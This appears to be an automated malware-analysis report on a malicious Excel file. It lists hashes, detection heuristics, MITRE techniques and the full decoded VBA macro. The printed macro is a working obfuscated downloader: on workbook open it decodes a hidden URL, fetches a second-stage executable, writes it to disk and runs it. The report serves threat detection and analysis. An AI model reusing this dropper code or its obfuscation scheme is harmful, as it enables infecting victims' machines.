Xls.Downloader.Generic-6839042-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 f9c0c3aae1f773f3…

MALICIOUS

Office (OLE)

164.5 KB Created: 2018-04-02 22:35:54 Authoring application: Microsoft Excel First seen: 2018-09-04
MD5: a1544b95eff01d567a2781035b96468a SHA-1: 734115817e6abe7c97d67e6fad0d45405764ff4b SHA-256: f9c0c3aae1f773f3c6b7ec1b82e22af63348f7ceff870be5a6d448e62294cea6
350 Risk Score

Malware Insights

Xls.Downloader.Generic-6839042-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The VBA macro contains a Workbook_Open event that executes obfuscated code. This code utilizes WScript.Shell and Microsoft.XMLHTTP to download a payload from the URL 'hÖÖÓ://ÀlÕÀlÂmÂÛÁhÀÅgÂ.ÖÔÀdÂ/ÖÂmÓÕ/TAáH.ÂÛÂ' and save it as 'C:\Users\Public\TåQTRXGH.ÂÛÂ'. The macro's intent is to download and execute a second-stage payload, typical of a downloader malware.

Heuristics 10

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    ¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢ = CreateObject("WScript.Shell").Specialfolders(7) + ¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    °¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ = º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º« = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10192 bytes
SHA-256: d7326870e86886c13db206f37ce5fb9460fcc830426b7365111976b1a438ada9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Originsls()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º« = CreateObject("Shell.Application")
Set º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦ = CreateObject("microsoft.xmlhttp")
Set ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´ = CreateObject("adodb.stream")
¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢ = »¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®("\TåQTRXGH.ÂÛÂ")
ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ = »¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®("hÖÖÓ://ÀlÕÀlÂmÂÛÁhÀÅgÂ.ÖÔÀdÂ/ÖÂmÓÕ/TAáH.ÂÛÂ")

¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢ = CreateObject("WScript.Shell").Specialfolders(7) + ¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢
º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦.Open "GET", ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ, False
º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦.send
°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ = º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦.responseBody
If º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦.Status = 200 Then
¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´.Open
¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´.Type = 1
¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´.Write °¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½
¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´.SaveToFile ¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢, 2
¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´.Close
End If
ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«.Open (¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢)
Range("A1").Value = "dshgsdg"

End Sub

    Public Function »¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®(¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´)
        °³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢² = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´)
            ¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸ = InStr(°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½, Mid(¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´, i, 1))
            If ¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸ > 0 Then
                £¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½ = Mid(¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢², ¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´¯§¯¹¦··¨¼¨¾¯²¯§«¡¢»¦¸´²¸¬¤¹²·ª¬µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸, 1)
                «¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨ = «¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨ + £¢º¤¡¸¶¥´¬¬´¹¯³½²¿¥»¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½
            Else
                «¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨ = «¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨ + Mid(¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨©¦¿¼¯³»º«©§¬³¼·¢¬«°®ª£´, i, 1)
            End If
        Next
        »¥³¢º¡½´º½»®£¶º»¯°£¾¿´¸«§®¶³´³µ¤°µ¾¡¡¹³´¡¾°¬®·¡¼·°¹¿µµ££½¬¥¼§»¥µ¼¶´°»¹¨½«¨ª£·¸ªª¤º¢¯¦¾® = «¨ª£·¸ªª¤º¢¯¦¾®¢³¤¿¼½¼¿¶²¶§¹°º¼¾¹§º£¬¯º©¯»¬¦¾¾·¡¿£µ½³½µ·©¿½ºª«²¾¢²¡·¹®¡°¶»¸¥µ¿¤¸µ¢®¨¨
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.